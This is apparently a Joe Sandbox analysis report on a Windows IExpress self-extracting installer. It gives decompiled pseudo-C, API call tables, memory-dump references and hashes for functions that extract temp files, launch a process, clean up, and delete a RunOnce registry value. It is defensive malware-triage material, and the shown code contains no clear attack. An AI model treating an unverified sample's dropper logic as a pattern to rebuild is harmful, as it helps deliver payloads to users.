							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E011D724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x011d6a60
0x011d6a6a
0x011d6a6c
0x011d6a71
0x011d6a78
0x011d6a7f
0x011d6a85
0x011d6a8e
0x011d6a91
0x011d6a93
0x011d6a9c
0x011d6aa2
0x00000000
0x00000000
0x011d6aa6
0x011d6ab4
0x00000000
0x011d6aa8
0x011d6aaa
0x011d6aab
0x011d6aab
0x011d6abf
0x011d6abf
0x011d6ac5
0x011d6ad1
0x011d6ad7
0x011d6b05
0x00000000
0x011d6ad9
0x011d6ad9
0x011d6ae9
0x011d6af0
0x011d6af2
0x00000000
0x011d6af4
0x011d6af4
0x011d6afb
0x011d6afb
0x011d6af2
0x011d6ac7
0x011d6ac7
0x011d6ac9
0x011d6b0b
0x011d6b0b
0x011d6b11
0x011d6b13
0x011d6b18
0x011d6b1d
0x011d6b24
0x011d6b24
0x011d6b30
0x011d6b39
0x011d6b39
0x011d6b3b
0x011d6b42
0x011d6b57
0x011d6b5f
0x011d6b65
0x011d6b65
0x011d6b67
0x011d6b6c
0x011d6b6e
0x011d6b71
0x011d6b74
0x011d6b74
0x011d6b79
0x00000000
0x00000000
0x011d6b7d
0x011d6b81
0x00000000
0x00000000
0x011d6b83
0x011d6b8c
0x011d6b8d
0x011d6b90
0x011d6b90
0x011d6b83
0x011d6b81
0x011d6b94
0x011d6b98
0x011d6ba2
0x011d6b9a
0x011d6b9a
0x011d6b9a
0x011d6ba3
0x011d6bab
0x011d6bb0
0x011d6bb5
0x011d6bbc
0x011d6bbf
0x00000000
0x011d6bbf
0x011d6c1e
0x011d6c25
0x011d6c27
0x011d6c2d
0x011d6c2d
0x011d6c32
0x00000000
0x011d6bc5
0x011d6bc5
0x011d6bc8
0x011d6bcc
0x011d6bce
0x011d6bce
0x011d6bd1
0x011d6bd3
0x011d6bd3
0x011d6bd6
0x011d6bda
0x011d6be1
0x011d6be3
0x011d6be5
0x011d6be5
0x011d6be6
0x011d6be6
0x011d6be9
0x011d6bea
0x011d6bea
0x011d6b74
0x011d6c39
0x011d6c3e
0x011d6c3e
0x011d6abe
0x011d6abe
0x00000000

APIs

Part of subcall function 011D7155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 011D7182
Part of subcall function 011D7155: GetCurrentProcessId.KERNEL32 ref: 011D7191
Part of subcall function 011D7155: GetCurrentThreadId.KERNEL32 ref: 011D719A
Part of subcall function 011D7155: GetTickCount.KERNEL32 ref: 011D71A3
Part of subcall function 011D7155: QueryPerformanceCounter.KERNEL32(?), ref: 011D71B8

GetStartupInfoW.KERNEL32(?,011D72B8,00000058), ref: 011D6A7F
Sleep.KERNEL32(000003E8), ref: 011D6AB4
_amsg_exit.MSVCRT ref: 011D6AC9
_initterm.MSVCRT ref: 011D6B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 011D6B49
exit.KERNELBASE ref: 011D6BBF
_ismbblead.MSVCRT ref: 011D6BDA

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: fbbb9bfe4f9ea6017be187862019f0f550112288ab13b3797c553681327d7d7c
Instruction ID: dff8db7da71289a94e6bf3d03d9b9a58f50558d3e7ba3d01e4a02de16bcacab9
Opcode Fuzzy Hash: fbbb9bfe4f9ea6017be187862019f0f550112288ab13b3797c553681327d7d7c
Instruction Fuzzy Hash: 8A41E131A46365DFEB3E9F6DE805B6A7BE0FB48724F14412AE95297284CB744880CB81

Uniqueness

Uniqueness Score: -1.00%

Function 011D58C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E011D58C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E011D1680(_t20, _t36, _t33);
					E011D658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0x11d9124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E011D44B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0x11d9124 = E011D6285();
					_t14 = 0;
				}
				return _t14;
			}

0x011d58cd
0x011d58d1
0x011d58d3
0x011d58d5
0x011d58d8
0x011d58d8
0x011d58da
0x011d58db
0x011d58e1
0x011d58ed
0x011d58f1
0x011d591e
0x011d592c
0x011d5943
0x011d594a
0x011d594d
0x011d5953
0x011d5959
0x00000000
0x011d595b
0x011d595c
0x011d5963
0x011d596c
0x00000000
0x011d5972
0x011d5974
0x011d597a
0x011d597a
0x011d596c
0x011d58f3
0x011d5901
0x011d5906
0x011d590b
0x011d5910
0x011d5910
0x011d5918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,011D5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D58E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,011D5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D5943
LocalFree.KERNEL32(00000000,?,011D5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D594D
CloseHandle.KERNEL32(00000000,?,011D5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,011D5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D5963

Strings

TMP4351$.TMP, xrefs: 011D5923
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D58CD, 011D58CF, 011D5919, 011D5962

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-2139698323
Opcode ID: b29bf09015162da650024a8bbb003a171a573a468e6d35f5747c86e8e21faf43
Instruction ID: ff503d977ff566a3b1dce735e0bda97f6a7ba04234d175e54bd10df2703483a2
Opcode Fuzzy Hash: b29bf09015162da650024a8bbb003a171a573a468e6d35f5747c86e8e21faf43
Instruction Fuzzy Hash: AD1126716022203BD73C5E7EAC4DA9B7FAADF46274B000629B525D3184DB74984583A0

Uniqueness

Uniqueness Score: -1.00%

Function 011D52B6 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E011D52B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0x11d91e0; // 0xec7270
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0x11d8a24 == 0 &&  *0x11d9a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0x11d8a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0x11d8a24 == 0 &&  *0x11d9a30 == 0) {
					_push(_t22);
					E011D1781( &_v268, 0x104, _t22, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
					if(( *0x11d9a34 & 0x00000020) != 0) {
						E011D65E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E011D2390( &_v268);
					_t11 =  *0x11d8a20; // 0x0
				}
				if( *0x11d9a40 != 1 && _t11 != 0) {
					_t11 = E011D1FE1(_t22); // executed
				}
				 *0x11d8a20 =  *0x11d8a20 & 0x00000000;
				return E011D6CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x011d52b6
0x011d52b6
0x011d52b6
0x011d52c1
0x011d52c8
0x011d52cb
0x011d52cc
0x011d52d4
0x011d52d6
0x011d52d7
0x011d52de
0x011d52e0
0x011d52f2
0x011d52fa
0x011d52fa
0x011d5302
0x011d5305
0x011d530c
0x011d5312
0x011d5316
0x011d5316
0x011d5317
0x011d531c
0x011d531f
0x011d5333
0x011d5345
0x011d5351
0x011d5359
0x011d5359
0x011d5363
0x011d5369
0x011d536f
0x011d5374
0x011d5374
0x011d5381
0x011d5387
0x011d5387
0x011d538f
0x011d53a0

APIs

SetFileAttributesA.KERNELBASE(00EC7270,00000080,?,00000000), ref: 011D52F2
DeleteFileA.KERNELBASE(00EC7270), ref: 011D52FA
LocalFree.KERNEL32(00EC7270,?,00000000), ref: 011D5305
LocalFree.KERNEL32(00EC7270), ref: 011D530C
SetCurrentDirectoryA.KERNELBASE(011D11FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011D5363

Strings

pr, xrefs: 011D52CC
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D5334

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$pr
API String ID: 2833751637-931104669
Opcode ID: 1efb539cbbb66bd42b268cc15345c80497be0171dd9631ab1878c3f6926c2003
Instruction ID: e1e00f853e61df4ebc11870a8de968efbe880b37b145baade193ac0751780679
Opcode Fuzzy Hash: 1efb539cbbb66bd42b268cc15345c80497be0171dd9631ab1878c3f6926c2003
Instruction Fuzzy Hash: 2C21C032907229EBDB7DDF28E848B697BB5BB14718F040279E96253188CFB458C4CB81

Uniqueness

Uniqueness Score: -1.00%

Function 011D3FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E011D3FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E011D6CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0x11d9124 = E011D6285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E011D44B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0x11d8a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0x11d9a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0x11d9a2c = _t44;
						}
					}
				}
				E011D411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0x11d9a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x011d3fef
0x011d3ffa
0x011d4001
0x011d4008
0x011d400a
0x011d400b
0x011d4010
0x011d410a
0x011d411a
0x011d411a
0x011d401c
0x011d401d
0x011d401e
0x011d401f
0x011d4033
0x011d403b
0x011d40ca
0x011d40e9
0x011d40f8
0x011d4101
0x011d4106
0x011d4106
0x011d4108
0x011d4108
0x00000000
0x011d4108
0x011d4049
0x011d405c
0x011d4062
0x011d4068
0x011d406e
0x011d4070
0x011d4077
0x011d407f
0x011d4089
0x011d408b
0x011d408b
0x011d4089
0x011d4077
0x011d4091
0x011d409c
0x011d40a8
0x011d40b8
0x00000000
0x011d40c2
0x00000000
0x011d40c2

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 011D4033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 011D4049
GetExitCodeProcess.KERNELBASE ref: 011D405C
CloseHandle.KERNEL32(?), ref: 011D409C
CloseHandle.KERNEL32(?), ref: 011D40A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 011D40DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 011D40E9

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 7e2d8405ea256f7ab8d01a7fec90e196fb5abd5f78e799148a4771370342d1a5
Instruction ID: 1b3bf1a133fd071dd5da876fb05557c5de262c891b52f7e7cb42392fa377a19b
Opcode Fuzzy Hash: 7e2d8405ea256f7ab8d01a7fec90e196fb5abd5f78e799148a4771370342d1a5
Instruction Fuzzy Hash: 3A31B131642228ABEB389F75EC48FAB777CEB94714F1001A9F515D2995C7305DC5CB21

Uniqueness

Uniqueness Score: -1.00%

Function 011D51E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D51E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E011D468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E011D468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E011D44B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0x11d9124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0x11d9124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E011D44B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0x11d9124 = 0x80070714;
					goto L10;
				}
				E011D44B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x11d9124 = E011D6285();
				goto L10;
			}

0x011d51fb
0x011d5207
0x011d520b
0x011d523c
0x011d5268
0x011d5270
0x011d528b
0x011d5293
0x011d529c
0x011d52a6
0x011d52b0
0x00000000
0x011d52b0
0x011d529e
0x011d5279
0x00000000
0x011d527b
0x011d5273
0x00000000
0x011d5273
0x011d524a
0x011d5250
0x011d5256
0x00000000
0x011d5256
0x011d5219
0x011d5223
0x00000000

APIs

Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46A0
Part of subcall function 011D468F: SizeofResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46A9
Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46C3
Part of subcall function 011D468F: LoadResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46CC
Part of subcall function 011D468F: LockResource.KERNEL32(00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46D3
Part of subcall function 011D468F: memcpy_s.MSVCRT ref: 011D46E5
Part of subcall function 011D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,011D2F4D,?,00000002,00000000), ref: 011D5201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 011D5250

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Part of subcall function 011D6285: GetLastError.KERNEL32(011D5BBC), ref: 011D6285

Strings

UPROMPT, xrefs: 011D51EF, 011D5230
<None>, xrefs: 011D5262

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 8eed36638429b5efd002af4d9996d67ec54b0ae7576a1bca750336b41e997052
Instruction ID: 5bfb7378b1168aee49426d18510b4ba399ae464852685122392665b4821f8b7c
Opcode Fuzzy Hash: 8eed36638429b5efd002af4d9996d67ec54b0ae7576a1bca750336b41e997052
Instruction Fuzzy Hash: 991104B1203205FBE76DAAB59C89F3B61AEEF89298B00403DF652D6584DB798C404234

Uniqueness

Uniqueness Score: -1.00%

Function 011D1FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D1FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0x11d8530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup0"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x011d1fee
0x011d2005
0x011d200d
0x011d2017
0x00000000
0x011d2020
0x011d200d
0x011d2029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,011D538C,?,?,011D538C), ref: 011D2005
RegDeleteValueA.KERNELBASE(011D538C,wextract_cleanup0,?,?,011D538C), ref: 011D2017
RegCloseKey.ADVAPI32(011D538C,?,?,011D538C), ref: 011D2020

Strings

wextract_cleanup0, xrefs: 011D1FE7, 011D200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 011D1FFB

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 2028e52592c8a33a04edb2383c80ce4b7d7c6d0a4d855a636b954bd3c2754841
Instruction ID: 2e75d4269fb614e6d41681ec6a6a0f85457f3b2c4b455ab6ea3e8ef2499bc24d
Opcode Fuzzy Hash: 2028e52592c8a33a04edb2383c80ce4b7d7c6d0a4d855a636b954bd3c2754841
Instruction Fuzzy Hash: D0E08630553318BBEB39DF91FC4AF597B2AFF01740F1002A8FA14A1055E7715A90D704

Uniqueness

Uniqueness Score: -1.00%

Function 011D4CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E011D4CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0x11d8004; // 0xdc3102d5
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0x11d91d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E011D4E99(_t75);
						L35:
						return E011D6CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0x11d8584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0x11d91e4;
						_t58 = 0x11d91e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0x11d91e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0x11d91e4;
						_t30 = E011D4702( &_v268, 0x11d91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E011D476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E011D4980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E011D47E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0x11d93f4 =  *0x11d93f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0x11d91e4;
						_t63 = 0x11d91e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0x11d91e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0x11d91e4;
						_t30 = E011D4702( &_v268, 0x11d91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E011D4C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E011D4B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E011D4B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x011d4cd0
0x011d4cdb
0x011d4ce0
0x011d4ce2
0x011d4cee
0x011d4cf2
0x011d4d0e
0x011d4d0e
0x011d4d11
0x011d4e83
0x011d4e88
0x011d4e98
0x011d4e98
0x011d4d17
0x011d4d17
0x011d4d1a
0x011d4d2f
0x011d4d2f
0x00000000
0x011d4d2f
0x011d4d1c
0x011d4d1c
0x011d4d1f
0x011d4dcb
0x011d4dd0
0x011d4dd2
0x011d4ddd
0x011d4ddd
0x011d4de3
0x011d4de8
0x011d4ded
0x011d4ded
0x011d4def
0x011d4df0
0x011d4df0
0x011d4df4
0x011d4df4
0x011d4df6
0x011d4df9
0x011d4dfc
0x011d4dfc
0x011d4dfe
0x011d4dff
0x011d4dff
0x011d4e03
0x011d4e08
0x011d4e0a
0x011d4e0f
